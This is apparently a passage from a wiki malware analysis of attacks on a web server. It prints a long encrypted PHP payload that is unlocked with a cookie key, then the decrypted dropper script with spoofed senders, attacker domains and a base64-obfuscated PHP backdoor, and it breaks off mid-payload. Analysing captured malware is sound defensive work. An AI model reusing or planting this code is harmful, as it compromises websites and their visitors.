N0pl5faGSl5qni7qJosZ2m8x/h2iXkbmSlpemm6C9e5vdg3RkmJ2qrmiKuqqwsnasxpt1gK+F1JKWfKivbLKdetOZqnyogq7UnpfbgZvKd4WWjnmaZZGWmpaXpoixvXubk4OGq4mB1JKVe86vbLOdhsabdZZpkK7IZoCTr2yzrXrGm3WNopCuyGV/uK9ss6CCxpt1lmeRvNlngNyNm8p3jZR/nWRug7nNanyqn6W/ZoLam4mXrpyqkZyKqp5qvpx9moB4o6CZratmjLmqca6frJeEq4WYnarEZ4qqnmuzdn2agHmmoJnTs6KL0JukxmZknI+eea+SurpjipSJpL5lbc6QhJqekK7IZH+or2yzd47Gm3WFoYqs2WeAto2qx3l6uo55mmWFlquWl6aasryJrJeEhZeYnaquZIqqnmq/ioa7iJ5olo6qp6uKqp5ptImsl4SFm5aQrshlgaivbLOdgsabdYCukK7IY4y6o5vKd43bjXeraYaqqqqHqZubyneB2o55mmWR0tlngLZ5m8p3hd2Ih6tphuCzgIqqnmmyh3avjnmaZpG82WeAz42PyYmf3YufdZ6F0tlnf9yJpr17m5SPh6tpheCrin+or2yznX67jnmaZoa9mpaXppCyvXub3YNifWqLl9lngLZ8r717m5OPnatphtC3aIPMgZK8eayXhHWfo5CuyGV/uJuLs3igqI55mq+FrNlngMybm8p3jd2DYn2YnarEaIqqnmi+ZWXWmoejfY7S2Wd/3ImbyneJk4Odq2mGus2Wl6aRpb17m5OPh6tphpinlpemhGzHn6yXhHh9ipCuyGZ/k69ss52Yy455mmaGl9lngLajpr17m5OPnJeYnaq7nYqqnmq+oIrGm3WEr4m6zYSKqp5psmN6xpt1lmWQrshjjKiFm8p3jsyQY4GYnaq7nojMeZvKd42TjnmaZoes2WeAqX1pvXubk4WHq2mGqsmWl6aJpL17m92DeIGmm5jFnoqqnmq/eI6YjnmaZYe7xWeKqp5qvmV+xpt1jGqQrshjf7ajm8p3hZiOeZplh6zZZ4CpjK++ZZ+UjnmaaIWX0YuKqp6ys4msl4SeiZidqrpjhJOvbLOdmMabdYBoi7zZZ4Cmn5m9e5uVhXeraYbQr5aXppBttp+sl4SriZidqrebiamJm8p3jZWPq4GIkK7IZoG3o5vKd4WTg3iXmJ2qsmiKqp5qtIiflo55mmWHu8mUiqqearR6gsabdYxqkK7IY3/Or2yzrXatiHV1mJ2qumaKqp5ov3mG3Y55mmeGl9lngLl9rL17m92Fh6tphuDNfYqqnmiyZZjGm3WWrovgq5aXppGivXublY+eiXqbl9lngMybm8p3jduOeZpmhperlpemhGi9e5uThYeraYaqs2aKqp5qs2Ssl4SbfX2QrshkgM6vbLOtirOOeZpoh7urqoqqnmm+iayXhHWbo5CuyGWAk69ss3p+mYN3q2mG0MWWl6aJo8aLnNqOeZplkdLZZ4Dco5vKd5fdjnmaaIWrs5aXpoywvXubloN3q2mF4MV9haivbLOKetKPY594kK7IZYu5fXy9e5uTg4eraYXgzZaXpohtuHmsl4R1faSQrshlf5Rsm8p3hs+OeZpnkZfZZ4C2hZC9e5vdhIeraYXgo3+Fp2uvvXublYNjn5idqq5kiqqea76JrJeEm4WYnaq2Zoqqnmi+i6TGm3WMZZCuyGOBqK9ss3eg2Y+Hq2mGusWWl6aMsbN4rKeOeZplhbzZZ4Dco4S6ZKyXhKuXmJ2qumaKqp5ov3msl4SFhY+bq5poiqqeaLKfrJeEq4mWj62zlpemkGq9e5uVg2KraYXgr4aXt6N8yGSsl4Orn3+K0ZaWl6aEr717m5WDY2SokK7IZoC4r2yzinqYjnmar4a82WeAz4mix4msl4Orn2WQrshkf7ivbLKtfsabdYxpkK7IZYGphZvKd47MjnmaZZK+u5SKqp5os2Ssl4SFiauQrshji86vbLN3mLKOeZpnktHNlpemiLK9e5uWg2OXnZCuyGR/lKubyneNlo55mmWRvK91l7dsjbyJrJeEq3WYnaqzoJe4r2yzd32YiYZ4rIuX0ZaXpohrtIqkzoxiq2mF4KeWl6aRor6frJeEnomYnaq2q5a5iLK4oXbGm3WMZZCuyGOAk42byneO0I55mmeF0tlngM+Jm8p3iZWOeZqvhZfZZ4C2n5vKd4HdjnmaZZK6o52Kqp5qtIeKmZB3l4CQrshmi7ivbLOdhqyOeZplh72alpemiaO9e5uTg2SbZpCuyGSLuK9ss4ecxpt1jGWS0tlngMyEsr17m5SDn5+YnaqznYqqnmq/e5zGm3WNn5CuyGV/zq9ss6CGxpt1jGWFrNlngMx9fL17m92DeZuDjZjVlpemmrG9e5uThYiraZCuyK1/t2h9vXubk4OJn4SarsirhrivbLN3hsabdYSthdLZZ4CpjLC9e5uWhXV5g5CuyGOAqK9ss3d6xpt1gK6N09mWl6aabLKJrJeEeIV6ibzZZ3/cgZvKd4nbjnmaZ5GX2WeA3J6wvXubk5B2hZidqrKrf859q8p3erGOeZplhqzZZ4CmfZvKd5jLjnmaZoXRu6qKqp5qsomY1o55mmiFrNlngMyFo717m5SEd6tphqqnlpemmmu5iayXhJ55mJ2qs5uLk69ss52Gxpt1iGWJvNlngNybm8p3hs6Dd6tphq2nnYyoiXq9e5uWhGFjrIzTr5aXppBou3msl4R1eZidqsRmiqqeaL95rJeEnn2WkZizlpemjGi2i5iym52raYatt5aXppCyv3msl4SFhZidqrKriqqea7NkrJeEeImmjNLZZ4DMhaO7eayXhHV5aJCuyGOMuqebyneGy49jhYqQrshjf7ivbLOtmMabdYWhmdPZnYyor2yzh4aljnmaaIaX2WeAqY1uvXubk4Odq2mG0K+eiKd9m8p3l5aKn6OIkK7IZX+Tr2yznYa4h4eraYbgxZaXpomjsnmsl4SFiaWQrshji86vbLOHht2KnIGYnaq7n3+or2yzeoqnjnmaZ5Ks2WeAzIlqvp+sl4OrfZidqrpjiqqea7JkpLqOeZqvh7zZZ4DMn5vKd4rLjnmaZYbS2Wd/3KOpvp+sl4R1l5idqrudiqqear5lfsabdY2hjb3FlpemjK+9e5uUg2F5mJ2qumiLk69ss3ecuo55mmeHvNlngKmFjbeJrJeDq3WDkK7IZou4r2yzd3nbjnmaZZLRs4WKqp6ysnhlxpt1hGWSl9lngJR9hrt4ZcabdYBlkK7IY4y4r2yzd4bGm3WFoJCuyGWBt3CbyneXloN3q2mGrauWl6aNoL17m92Dm59nkK7IZIu2gWzHeZzGm3WArpCuyGOAzq9ss6B+vI55mq+FmLOWl6aar717m5SPhpuYnaq2rIqqnmq/n6yXhHWfepCuyK1/qZubyneGz455mmiRu82Wl6aEaL17m5OQnatphuDFlpemhK+4ZKTGm3WArpCuyK2BupGZsp+sl4Srm6iPqquWl6aIar17m5WPnatphrrJlpemhLG9e5uVhXirnZCuyGSAk69ss52G2Y55mmeGrNlngKaFer17m92Fhp96mZfZZ4Dcm4jJZKyXg6t1gY/QqmiWzqaxvXubloV3q2mG06+Wl6aMbL17m92DnI2Ynaq7nImor2yyrX7EjnmaaIbTr5aXppGjvXub3YOIm5idqrpjiqqeaLJjeZiOeZplh7zZZ4CmhYKyZKyXhHiFmJ2qu5uKqp5qtHmsl4OrhYWOq6ugiqqeabSJrJeEhZuYnaqznpO3cGu9e5vdg3eraYatq5aXpo2gsp2gxpt1lmeQrshki7ivbLKtfsabdZZpmqzZZ4C2n5vKd4HciJ6nmJ2qtmd/k69ss4d9lI9hl4uQrshlgJN5m8p3id2Hh6tphtDNnoSTr2yzh47Gm3WAZZKru5aXpoRtvXubloN3q2mG0KuWl6aMa7efrJeEnomWkK7IZH+Tr2yzd5+WjnmaZYasp5aXppqvvXublZCHq2mG0KqsgbivbLOgisabdYyukK7IY4CTr2yzh47Gm3WMZ4+82WeAtpuLv5+sl4SFn5idqq6sk6mfm8p3jdyOeZpnkqq3poqqnmqynoLGm3WErYe82WeApqObyneF3Y55mmWHvNlngMyjiL17m5aEYqtpheCjf4nOr2yyrX7Gm3WIZ4Ws2WeAzIGQu4ptxpt1hGqQrshljKivbLOdm9qOeZpnhqvJlpemiLCznqyYhYeraYbgxY2Kqp5ps2WGxpt1jZ+PvMWFiqqea7SIrMabdY2gkK7IZYCqkaGyn6yXhJuFr4/S2WeAtp+HvXub3YSIfamN0tlngNx5kr17m92Dnatphqq6qou4r2yzh5eYjnmaaIa72ZaXppGjvXubk5CHq2mG4LuWl6aQsb17m5SDYqtpheDNZom4r2yzh5jOjnmaZ5GXzYuHupGivXub3YOdq2mG0MlljKZ9m8p3gZiOeZpnh6zRlpemiGy9e5uTkHmJmJ2ququUzWeuuYmsl4OrdZidqrJof5JojbyLmLKOeZpnkdLZZ4C2jZvKd4HcjnmaZZK82WeApombyneKy4edq2mGrbeWl6aRobqLnLOOeZplhqzZZ4C2o265n6yXhIWFn4XRkpaXppugvXublIScgYSQrshli7mbm8p3gduOeZplkqzZZ4CUfY6zeayXhHiJipCuyGSAuK9ss62gtZuciZidqsRmiqqeaL+JrJeEhYWfhazZZ4C2gZvKd4WTjYmbhIq7zKuHuK9ss2V6to55mmWFl9lngKmNm8p3iZOXYqtpheCjhpPOr2yzh4nbip2Fo5CuyGaAkmyNuIuYsox3q2mG0MSqhpOvbLOHhsabdYiukK7IY4C3bJvKd4WTjnmaZYe82Wd/3HmKyp+KmY55mmWSrNlngKaJm8p3jsyDd6tphq23pIe2iYa9e5vdg3afa5CuyGOMzq9ss3eGto55mmWF0ZKWl6aEr717m5SEh6tpheCjlpemiaO9e5uWj4d5mJ2qxGeGt42byneKy455mmWGl9lngKmJm8p3mMuOeZplkqzZZ3/ciZvKd4bPiHeraYats5aXpoSvuYmsl4SeeYSQrshjgLdom8p3hZOOeZpmkbvFhYqqnmmziayXhIWeZo3S2WeAz4GPvXubk4RhaJidqrucibivbLKthraOeZpnkbzRe4bOr2yzoH69m4d9po3S2WeAppuHvXublY+dn5idqq6th86Nj7dkrJeEeIV7kK7IZIG2fZvKd4ncjnmaZ5G82WeAppF/vXublIOHq2mG06eWl6aJoLeJrJeEeIWYnaq7nIqqnmi/iayXhHWNhJ3S2WeApqObyneBk4qHiY+QrshmgbivbLN6isabdY2ej7zZZ3/ceZvKd4bOjHeJaYyX2WeAtombyneFlIR3fYuO0tlngKaRh7J5fsabdYRokK7IZH/Or2yzd4rEjnmaZYa82WeAtoGbyneOzIuJn4OOvLdnh8+ne717m5ODYn2Ynaq2Y4jOr2yzd4rGm3WIrZCuyGSAuIGbyneF3IuchYyQrshjgLivbLN6irmOeZplkqqnhoS4r2yzh36pjnmaZoXRt4KKqp5os2NluImJl4OOq6t7iqqeaL94hrmaYnmmkK7IY3/NkYu9e5uThHiBmJ2qumiKqp5ovp+Gxpt1lq+QrshjjLivbLN3gsabdYxqkK7IrYGor2yzrY6wjnmaZoXgoqWFuK9ss3eGlpqdq2mGureWl6aEr717m5OQh4GJjtGrlpemjGm9e5uUg3eraYbQxZaXpoWjvXub3ZB0fKWHmLedk6lvn8hmhtyOZH2hm63Zm4uUjKeun6yXhIh5mJ2qt5uKqp5pvomsl4SIeJ6EqbNqfKqfpb9mgtqbiZeunK6RpnyqqqPKrH6rinZseJCuyGN/t6+MrqFlxX+dq2mG06uhlNCBm8p3l5aOeZpnh7zZZ4DPjZvKd42TjnmaZ4XS2WeAz4yhvYtk04VjiWmZvrJqmLpnn7Gso8qPY2ysnb6ro4yUn2iudqPZf3VrYFqPnD08hqunhXBUhZeTrJmZ3MqYpaKepcacoJGZoKBXc3BrV5jLqavZoZXQm26omJ7P06amiqqs16ejz6WomKdg2daVpdapYImZqc+in5SinZKRX6XWqajUplyHnKafoabHzphehFdajlxdjHE7c6ig28eZnsdfXMulo9CVpqaaqtmKbjyFV1zLpaPQc1lbWZ7Y0KCR16qd16aPk5NScFdaj6BXmNSmpcSop8iopI5llaCFmZvUqqzTlKHIX19VYlqU1Zyfx19hk1V0zJmgo6GZ1MVhldFlrdBVb21al6WkpaOJW1bIqafSkqnWm6OmkGjDgnBUhGB3iZmm0qOQqKid2NSOYr9xXMucptaqn5SinY+PVXLLmqfVn5XRml+WpGbbzFVtbEFbiZWg0p2mpaF1iMmnptJxZ5Sqq9pkkqGWpN/VnJXVaWiToqbKWGw9WFzbz6anxKqb15yWyJWdnKOjo4WVntGerdefYoVlU2FZpsvYl5vUZVqUclaRqaaVqKzYiaCWl19a0ZWgxJekl1dm08qWpNGrodKYXIxfXWNhqsfPl1qUZ2SXZ12MZFOWl3CwkVVtbFut06apxamUpZ6ay8Cfm9CidYmVoNKdpqWhZoiQVWCGpZ3cl53VZFNidFqU1KiU1auqjaCYmF5Tn5ekx8KmloRlpc6WptKqmqCaYI+KX2KOqZnTl1yVZl1laWGPj1WWsJ+iulVvg2VgU6GZ2dU9VYadqtSgcYWjkpyhZdTQpZfSo7GlmqPSnZ2YY5vVzlVtbEFc2KiWzZuUp1V1hoODnsOanYWUooOlo5eaqobDmKbZnJ3TU4HEqJSbVWmbgWBSr5iqyJtUlWZRlKOchtqip4KuodGfVMqbpVOWpobCl5bLq6HUoZXPVmJjWljVx1OZ0aac2FOa0qhRmaedy4JVbWxbqsqUoNGXnphVdYaDeqHRnqTKU4LIraRVcEKKzpil1ZifynBWp5uSpVValIWZm9SqrNOUochkU18/Qr3GU5PUnFjcoqbOn5+aVaDH05dS1qZYzqCk1aWnmFWZ0s1TochXp9qlVNavpKeapdmBp6GCqp3XqZmDr6CoVZrL1aeX1GVYrqFUxFafmJaqhseoptepnYWso9hWqJyhpIbDmFLDmaTKU6jSVqGflpvLgZRS0JyvhaKmx5ujpmFC2tOUlc1XsdSopoOmkpagmc3GplLDpZyFmpnXVpJTp53HzVOmy6SdhZ+d2ZtRpqqo1tClpoJkWMafoIOco6KiWNXPmFLSo5nImGKDVoWbmqrLgZSkx1elxqGtg6mgYJiZ0s2YloKTWteYlc9WpKekqsvUj1SOV5rap1Tam1GUp51w1ZuXgqam0axU0qSWU6Gdzcqnm8+YrMpfVM+flJijq8vFU5PQm1jXmKDMl5OfmljVz5+b0JxY2Juj06aaoZxY1s2UlcdXntSlVMSinVOknobaoqfUqljSmJjMmZKnnqfUgaGXx5urk1OLyFagmZud2IGVodafWMelldGaUZSjnHDImKDHqaHIplTQm5WmVZ7V01Oox6mxhZaj0KaWp56sz9eYUtKpociYp5FWeplVsdXWpVLSmJvQlJvIVpapmqqGyJimgqOn2KdU2ptRlKGvx9qmUtmgpNFTpsipmZylWM/VU5jRqVjLpZnIZDs9h53TxqCUx6lY2aJU2KaVlKmdhtqip9RXmtSin9CXo56oWMzQpVLRrKqFb5WDnqOYm3WNg2FWxKOnzKimz2RTYldmis+YqcagqpNVY6JYX6aqmtnVpVrPm22NVaDFopKUqJyIj6Cbxamn2ZyhyF5aXGFoktOUoMZfapVfZ5NfWmFXX6TPmKmCmKbJU53QpqOiq53Kgaam0amdoWKVoWQ7PXedhsKqk9ScWNSZVNaZkqBVq8/VmKWCrqHZm1TWn56coZnYgZ+h0aJYklOryFaSpZpY2smYUtGlpN5To9GbUZ+an8/VnJ/Dq52FiIeDl6Gjp6fcxpdS0aWkzqGZg5qjqJyr2tCll5BBQqahmIOolqCapcjGpVKPV6/KU5XPrZKsqFjZxp+egp2n11OgyKmkVD9CusKel4KYnNuUoteXmJhVp8yBoqfUV6vVmJfMl52mVWWG0Z+TxZxYxqFU0qiVmKdYyManqcecpoWAldWZmVNmbYaOU3/DqZvNU2aTVpKhmVjf0KhS2aCk0VObyKpRlKNYx8WXm9agp9OUoINnYVhVp8yBmqHRm6uFmaPVVpelmp2Haz2H1ZxY2Zud1laUopmdhsKnUsWfncieVNKrpVNiWJ2YZWqVaG2Fp6ODmZ2UnqWG2qKn1FeczqaX0qufp2NCcLWbk9CiWN6iqYOcoKVVmsvGoVLOprHGn1TGq6SnpKXL0188vX+d0Zii34Cgm6O0tsanl9Szeteol8iycp+asOKjlKTDorSql6vEqJWvh6fIxqWm3nqg15yn34mlmKud4qOcns6zedefndGyf5SZocfdhpPQq5nhgKPRn5yUsYLb1Keb0LN+15iYx6+tfaqr2sqhrrSmmsqlqNKyf5SZodTGr3jUnJzKpZ3Gsn6coJ3Daz1uw1eg15iaoF1TYVmt1NSolNWaqs6VmcKimqGgZoiIcafQqq3HppfVn5OYcWfHn1VtbEFc2KiWzZuUp3Ks3tWSpcqsnsufmYtapKiXosvEp1udQVzSmKfWl5iYcqze1ZKlyqyey5+Zi1qemKirx8iYW51BQohWV4ZZVFZYW4mEVlWFWluIVleGWVRWWFuJhFZVhVpbiFZXhllUVlhbiYRWVYVaW4hWV4ZZVFZYW3BrnJiKW6vZlJvIc25VmZ3SxqeXhGCzb1NUg1ZVm5aq2J6ZqdSgrMaVoMhecnWIiKe1e2CEZq/VYJfSpKWYo6yV1ZuXz5yrh19W056hVV5zcIFTUoKgno2mnd2boJldXM7CpaSLdWiOU5rSqJaUmKCOhZuT1KlYxqZUh6aSp51hhsqZWtWrqtWip4taoZSpoJKDnKDGnLCTo5zTWFpUcnXMwp+lx2Czb1NUg1ZRU1VYisqhmJ+qrManXIemkqedYaFrU1KCV1iFU1SHqqmncp7PzZiRyZysxJaj0aqWoamrjoWjk9afYaA9VINWUVNVWIaFp6rWdKjXmJvCqJajoZnJxltUg3OUpKOc01Zgj19YydCjq9Sgn82nVL9gYGFfd5W9XVLFpqjepZ3KnqVTkWKVgY9xoFih2FVghVhdV6mw2opuPIJXWIVTVINWVZmddczQo5fQX1zVlKjLYlOqYFqPnFOY2amh2Zhch5yZX1ms3tVcbYKdm9Gip8heVZmdYaFrU1KCV1iFU1TXpaaWnWCK0ZSmymNczqGavl2ep56ly4iQXoagpsuOW8SqmqCaX8OKbjyCV1iFsD6DVlFTP0JvhaOT1p91pnWHs3eFe2NalcqhlsevZtWbpIVxOzxZodTHcKXWmKyNV6TEqplccEJvhaeq1nSezp+Zwp2Wp5Sb1c+nl9Crq41XpMSqmVxwQm+Fp6rWdKjXmJvCqJajoZnJxltUg3OUpKOc01Zgj19YydCjq9Sgn82nVL9gYGFfd5W9XVLFpqjepZ3KnqVTkWKVgY9xoFih2FVghVhdV6mw2opuPGtbns1wmtKmlqFdXNbCp5qOWa+QVV2eVpeqp6HaxltWyJ9kiaWo26pfV6mw2opuUsiapNSmmYtal5tec3Bqp6HXmqCNV6TEqplfWaHUx45Zz6uh0phbwGJVnKOewYiUpsuknYyQXZ5AO1NVWIZrU1KCV53dnKieQK49P6HMiVel1pifynBxhZyapaisiIquPIJXWIVXl8dzpKenl9jGo5fDq2CHYWKSWF2mqprZ1aWRxaat06dch5eTpqqq0o1VYYRgZZdcb21WUVNVQomBU1KCnafXmJXGnlmUp6rH2ltU1auZ2aZi056hVWFaz8+ZoZCnoNVVYIWZoKijrMvTYaLKp1qOU5XWVlWZm2Hha1ZSgldYblekxKqZcFmbyo9XmMhyQohTVINWOleepsyepqbDq2CJo5XXnlpuP1uGgVNSa1uezXCa0qaWoV1c1sKnmo5Zr5BVXZ5Wl6qnodrGW1bIn2SHVV2eVpeWoafZxltWyJ9hoD1Xg1ZRUz6s1daWmopbqMannI9amqGbk43Op5vPnF/CX1jMpJeOXJnayqCXiZRhoD1Xg1ZRUz6t1M2coM1fXNWUqMtfbD1YWIaBU69sQUGllpzQpZVbWZvKj1WV0aym2ZimkaaZo1dklphqaYtyQm5zqdGimqGgYIrEl2CEmqfaoajIqF+jnaiIim48bEB40p6YzKhZV5iclIWhl9mboddcb20/cZadpdXFW1bFm2aJoZnampqlYWidmGpbnUFBpZac0KWVW1mbyo9XoMeunM6lYoVlmqGZnd6Po5rSWWSVamuaX2w9P0GK0ZSmynRcyJdih6SWqpmh2I9VYculnMqrYtOeoVVwQm+FnKDIdKvZlKiLWqGUqaCPnD07hquw2XCazKKWkpyd2sCWodCrndOnp4taoZSpoI+cPTuGq7DZcKTVm5iSp53WzZSVx19ahm+QoqaZo1VnwotTldGnsdecm8uqUY9fZ5SLcmG+YVjIoqTcqJqanayGvV1hgpN3o1Sd1lhdVVdkitWrpotyQm5Xmstzl6KlndSJV6LDq6CRVauOWFpuVZ7d05ymx19cy5tgh6ilq6lmitWrpotyWMuWoNKplltZns6KbjxrmqDSopiLWqGUqaCSkWhnl2BzhZac0KWVW1mbyo9XoMeunM6lYJNrZmhec3Bqp6HXmqCNV6TEqplfqKzY1aKmy6SdjVVlnFZ+lK5YmJFja4RgZNinptelpZyinY6DZGuChJneU2aTZmpVXmGhaz07x6+h2W4+4EA7V6Kd2dScltSYpslwVoVxUZmkqo6FnG+SclzOb2aVcVWcYGOP3FNWxZ91yJumi6OlkqeZ1MVba5ljaZdlXYxxUVeindnUnJbUmKbJYXGLo6WSp5nUxVtijmhhonBljHVVlp1y2dWlptGsqNWYpotalJtec4bePVbGpqXGnKKDc1GmqprZ1aVahp2q1KBgg6mlpaWn2YlXmNSmpZFTVqNYWl9Vq9rTn5fQX1zLpaPQX1puP1zOxpSWx6lYolNWqaigoG9YiI9XmNSmpZNVkNWSn1VwQomFm5fDm53XU2KgVlN/nqvajoig1aya2JamzJiWbVValIWooNWsmtiWpsyYlpKhodTMYVS+qZTTVW9tWVWbmpnKxqVSkHRYh4WZ06KqYKmnoIGhoY+pndWfraOdnpSepJTEop++qZTTVW9tWpmYlpzL01Ngn1daspin1peYmGKByptTboRlXNKYp9aflaWWpsqPV5bRpJnOoWKFdI2lkaaInD1WypyZyZimg2RuU1eFr654X7icqtico9FwUWRjaMLTj6CEckKJm5nEmpalVWajgVV10aWsyqGokIqqo5pyhtWYqtZmoNmgoL+ojaFXc3CFm5fDm53XU2KgVlN2pKbaxqGmj4uqxqGnyZujYHqmydCXm9CecoVrlsyqjaWRpsLTj6CEckKJm5nEmpalVWajgaGelJmqjVehyKmklJydj49VjtSTpoduPm2fl1uimc/NW1bWpmSJpqnFoJaWqWSIg19WypyZyZimj11emVVflIWZpNGkYY5TmcaeoFNXpcfKn5HJpqfJVW9tm52mmrNwgVNSgqCejVen15eYmHJ1iMecpNWrWoVZWoOpmq2ap8yJV5rDqaqOcWSMVpeip53HxJtahp+Z16VUxKlRV6WZ2slcUsudYNinptOlpFtZqMfVm16EoKbJmKyRppmjV2GHnnCYw6OrylyvbT86V56mzJ6mpsOrYImjldeeWm4/QW+Fp6rWdJ7On5nCnZanlJvVz6eX0KurjVekxKqZXHBCb2pXptqrddWlmcqVo5ilpMfEmFqEWHTBcqTLplFikWKGxKKi26mhzJuog5JbYmNipZCPXIKap9WspsydmadVlJCQU46hdVnOplaPWFNfWaze1VxtbEBBiZmcoJygo5qmjoWjk9afZIeqX4VfbFObr9jKp5eKW57NX1jXrqVccFjMxJ+h1ZxgiZmcjHE7PD6s1daWmopbqMannI9amqGbk43Op5vPnF/CX1jMpJeOXJnayqCXiZRhoD1Ug1ZRsD9YhoFTl8Wfp4VVlsSaUaapmc3GU2SEckKFU1SDm6mcqXNw3j08bEFbiFZXhllUVlhbiYRWVYVaW4hWV4ZZVFZYW4mEVlWFWluIVleGWVRWWFuJhFZVhVpbiFZXhllUVlhCzNahldagp9NTmtqomqeWmtLGW1bGY1zGlqigWJWcp1qP3D07yaOnx5Sgg1qSpadzcGpXlp+qrNeSpsimnZSYnY6DYmGEY1qUVWCHmlpuVVzKnlul15mr2aVch5pdYGZho55VYYRgd9ioltaqo1tZnJKRX1+TYHKJl29tP5qZXVzKyqVvoqaoyqGYzKhZV5lhj9w9O2uuoM6fmYteVZlyeNjGlJbGoKqNV5jMqFpcVnWjx5Se1Zxh4D09bD+amV1czJ5wVJBZWOGvVIecbnBXZpSDU67eV6HYkqDMpJxbWZ6PilOV0aWszqGpyHE7PD5Bz8dbm9WWnM6lXIeaX1VkWpSFmVuLskJuPD1sn5dbWZnJ1XBvhJuh11VUiVxRnKiX3dOcpsOZpMpbWMdkU2JXZorHXFuCW5nXpY/Ac1WXY1qVg2FWyHJCbjw9bJyopZ6sx8Ofl4pbnJNVY4VkVZlhWIrClqaLckJuPD3gm52mmqHMiVtWw5qsonBW056hVV5YjIdTm9WWr9ecqMSYnZhdXMqPVWGEZVzLXFSJXFFbqK3I1KekiluekWBojHNuVWOoztFVUt6zWNioltaqo1tZnpKOaF6WYHWiVWLTnqFVXmGGhZSk1JKVoleYkVhgVWNczJw9O2u0Qm6wPmx2lJ+kq8vFnKSKW5zOpV2eQDqlmqzb06FShpiq124+4EA7maqmydWcodBXrN2nk9aeppmbpMuJV6baq2HgPVSDVlGjp53NwKCT1pqgxJSgz15TVJGTjo9dcYuTlYacp4ViVaetrJKFoFudQViFU1TMnFmmnrLL0JlahqSTlpByk19aU5un2MaUlcpfXNKOZcBWkqZVXNGecVbYYLNvPFjZc5arpaTVxZhahLNakVeqjHE7PKig28eZnsdfXNtcb20/VaetrKPUp6TBqZ3Vn5XGm1lXopOWvo5WzZRkiamPk5NdV6mw2opuPIJXWIWwPoNWUVOnndrWpaCCW6zdp29tszs=&amp;quot;,$_COOKIE[&#039;1fa2074431b47cb9&#039;])); exit;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code is actually encrypted using a relatively primitive padding. It&#039;s not clear what the code is without the key though. Fortunately, I added a few extra lines to the capture code and got a hold of the attacker&#039;s COOKIE. Interestingly enough, the COOKIE value that is needed is different for every POST request made by the attacker. This means that the attacker is using some sort of program that&#039;s generating the POST values and COOKIE values. &lt;br /&gt;
&lt;br /&gt;
The decrypted content of one of the POSTs is shown below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
unset($_POST[&#039;file&#039;]); \$stage=&amp;quot;second&amp;quot;;&lt;br /&gt;
$newdir=&amp;quot;c7b&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$from_users=unserialize(base64_decode(&amp;quot;YToxMTp7aTowO3M6MzoibG95IjtpOjE7czo1OiJhcnRpcyI7aToyO3M6Njoiam9zZXBoIjtpOjM7czo1OiJzY290dCI7aTo0O3M6NzoibWljaGFlbCI7aTo1O3M6NzoiZW5yaXF1ZSI7aTo2O3M6NzoiZHJmZ3ZyZSI7aTo3O3M6NjoibWFydGluIjtpOjg7czo2OiJqb3NlcGgiO2k6OTtzOjY6Im1pY2hlbCI7aToxMDtzOjY6ImFsYmVydCI7fQ==&amp;quot;));&lt;br /&gt;
$from=&amp;quot;icopland.co.uk&amp;quot;;&lt;br /&gt;
$blogurl=&amp;quot;http://insparenting.com&amp;quot;;&lt;br /&gt;
$icd=substr_count($blogurl,&amp;quot;/&amp;quot;)-2;&lt;br /&gt;
for($i=0; $i&amp;lt;$icd; $i++) $blogurl=substr($blogurl,0,strrpos($blogurl,&amp;quot;/&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
$absurl=&amp;quot;http://icopland.co.uk&amp;quot;;&lt;br /&gt;
$fullname=ucwords(strtolower(&amp;quot;Mark Osteen&amp;quot;));&lt;br /&gt;
$address=ucwords(strtolower(&amp;quot;173 Alamo Road&amp;quot;));&lt;br /&gt;
$zipcode=&amp;quot;&amp;quot;;&lt;br /&gt;
$city=ucwords(strtolower(&amp;quot;Ardmore&amp;quot;));&lt;br /&gt;
$state=&amp;quot;OK&amp;quot;;&lt;br /&gt;
$country=&amp;quot;USA&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$rtxt=base64_decode(&amp;quot;PD9waHAgLyogY29weXJpZ2h0ICovICR7IkdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2YmdceDZlXHg3Mlx4NzdpXHg2ZVx4NjRceDYybiJdPSJceDc0eFx4NzQiOyRlZ2VpbGxicD0iXHg2YiI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDYza21qXHg2M3VpZSJdPSJceDc2Ijtmb3JlYWNoKCRfR0VUIGFzJHskZWdlaWxsYnB9PT4keyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2M2tceDZkXHg2YWN1XHg2OWUiXX0peyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiZFx4NzhceDc3XHg3MW9ceDYxbHZceDYxXHg3NVx4NjUiXT0iXHg2YiI7aWYocHJlZ19tYXRjaCgiIV5bYS1ceDdhXHgzMC1ceDM5XXsxMCxceDMzMn1cJFx4MjFpcyIsJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NjRceDc4XHg3N1x4NzFceDZmXHg2MVx4NmNceDc2YVx4NzVceDY1Il19KSl7JHhmZ3NweXdydD0iXHg2YiI7JGpkaGJ3ZWs9Ilx4NzRceDc4XHg3NCI7JHskamRoYndla309YmFzZTY0X2RlY29kZSgiXHg1MFx4NDZceDRlRFx4NTVrbFFWXHg0M0JceDczWVx4NTdceDM1XHg2ZWRXRm5aVDFxXHg1OVx4NThaXHg2OFx4NjNceDMyXHg0ZXlceDYxWFx4NDIwUGdceDMwXHg0Ylx4NTBceDQzRVx4NzRMXHg1MTBLXHg1YVx4NmVWdVkzUnBiMlx4MzRnXHg1YVx4MzJWMFx4NjJXXHg1NW9ceDYzXHgzM1J5S1x4NTEwXHg0Ylx4NjV5QjJZWFx4NDlnXHg2MVdSNElEXHgzMFx4NjdceDYzM1JceDc5XHg0Y21sdVpHVlx4MzRceDU0Mlx4NTlceDZmXHg0YVx4N2FceDM4blx4NGJUXHg3M1x4NjdhXHg1N1x4NTlnXHg0YkdceDZjXHg2YmVceDQzQTlQXHg1M0FceDc0XHg0ZFNceDZiZ2NceDZkVjBceDY0XHg1OFx4NGF1XHg0OVx4NDhceDRlXHgzMGNqc2dkXHg2ZEZ5XHg0OUd4XHg2Y2JceDY5XHg0MTlceDQ5XHg0OFx4NGUwY2k1XHg3M1pXXHgzNVx4NmVceDY0R1x4NjdceDM3SVx4NDhaXHg2OFx4NjNceDY5Qlx4NzVceDVhWGRceDY2YzNSXHg3OUlceDQ0